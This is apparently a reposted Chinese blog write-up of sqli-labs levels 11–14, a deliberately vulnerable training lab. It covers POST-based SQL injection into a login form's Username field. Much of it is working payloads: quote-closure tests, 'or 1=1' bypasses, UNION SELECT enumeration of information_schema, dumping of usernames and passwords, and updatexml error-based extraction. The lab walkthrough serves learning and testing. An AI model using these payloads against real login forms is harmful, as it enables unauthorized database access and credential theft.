当前位置: 首页 > news >正文

sqli-lab靶场学习(四)——Less11-14(post方法)

前言

第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。

Less11

第11关打开是一个输入用户名密码的界面

显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:

提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):

' or 1=1 -- asd

 是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:

' union select 1 -- asd

这里报错了,表示union后的列数不对,当我们尝试:

' union select 1,2 -- asd

不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:

' union select database(),2 -- asd

得到数据库名为security。接着就是获取表名:

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd

显然users应该就是我们要找的表,然后是查找列名:

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd

 列名中username和password应该就是我们要找的列,然后查出用户名和密码:

' union select 1,(select group_concat(username) from users) -- asd

' union select 1,(select group_concat(password) from users) -- asd

通关!

Less12

第十二关先输入单引号

显示错误,再输入双引号:

 看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:

") or 1=1 -- asd

成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。

Less13

第13关先测试单引号

看来是单引号+括号的闭合,再测试:

') or 1=1 -- asd

确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:

') or updatexml('1',concat('~',database(),'~'),'1') -- asd

找出了数据库名为security。然后找出对应表名,Username对话框输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

 第一个表是emails,我们逐个尝试,当输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1')  -- asd

找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:

') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1')  -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1')  -- asd

之后找出用户名,Username框输入:

') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1')  -- asd

 

密码:

') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1')  -- asd

通关!

Less14

第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Centos7 配置yum源详解
  • express的Router,配置 post 请求方法
  • linux-网络管理-网络配置
  • QEMU:模拟 ARM 大端字节序运行环境
  • 性能测试工具——JMeter
  • expressjs 和 Router 配置 POST 请求
  • Mac使用Nginx设置代理,并禁用自带Apache
  • mac安装JetBtains全家桶新版本时报错:Cannot start the IDE
  • 关于 ModuleNotFoundError: No module named ‘Crypto‘
  • AngularJS 模块
  • 数字IC设计\FPGA 职位经典笔试面试整理--基础篇1
  • C#基础(14)冒泡排序
  • 【架构设计】多级缓存:应用案例与问题解决策略
  • Unity DOTS系列之IJobChunk来迭代处理数据
  • python教程修订版
  • Android组件 - 收藏集 - 掘金
  • css布局,左右固定中间自适应实现
  • Docker入门(二) - Dockerfile
  • Javascript基础之Array数组API
  • java中具有继承关系的类及其对象初始化顺序
  • Meteor的表单提交:Form
  • Node + FFmpeg 实现Canvas动画导出视频
  • SpiderData 2019年2月16日 DApp数据排行榜
  • Vue 2.3、2.4 知识点小结
  • 缓存与缓冲
  • 强力优化Rancher k8s中国区的使用体验
  • 让你的分享飞起来——极光推出社会化分享组件
  • 王永庆:技术创新改变教育未来
  • 微信如何实现自动跳转到用其他浏览器打开指定页面下载APP
  • 【干货分享】dos命令大全
  • ​ArcGIS Pro 如何批量删除字段
  • # wps必须要登录激活才能使用吗?
  • #我与Java虚拟机的故事#连载13:有这本书就够了
  • $(selector).each()和$.each()的区别
  • (C语言)逆序输出字符串
  • (二)学习JVM —— 垃圾回收机制
  • (二十四)Flask之flask-session组件
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (切换多语言)vantUI+vue-i18n进行国际化配置及新增没有的语言包
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (一)Dubbo快速入门、介绍、使用
  • (原創) 如何刪除Windows Live Writer留在本機的文章? (Web) (Windows Live Writer)
  • *ST京蓝入股力合节能 着力绿色智慧城市服务
  • .gitignore文件_Git:.gitignore
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .NET CORE 3.1 集成JWT鉴权和授权2
  • .NET Core WebAPI中使用swagger版本控制,添加注释
  • .NET8 动态添加定时任务(CRON Expression, Whatever)
  • .NET开源的一个小而快并且功能强大的 Windows 动态桌面软件 - DreamScene2
  • .net下简单快捷的数值高低位切换
  • .sh 的运行
  • /bin/bash^M: bad interpreter: No such file ordirectory
  • ::什么意思
  • @CacheInvalidate(name = “xxx“, key = “#results.![a+b]“,multi = true)是什么意思
  • @KafkaListener注解详解(一)| 常用参数详解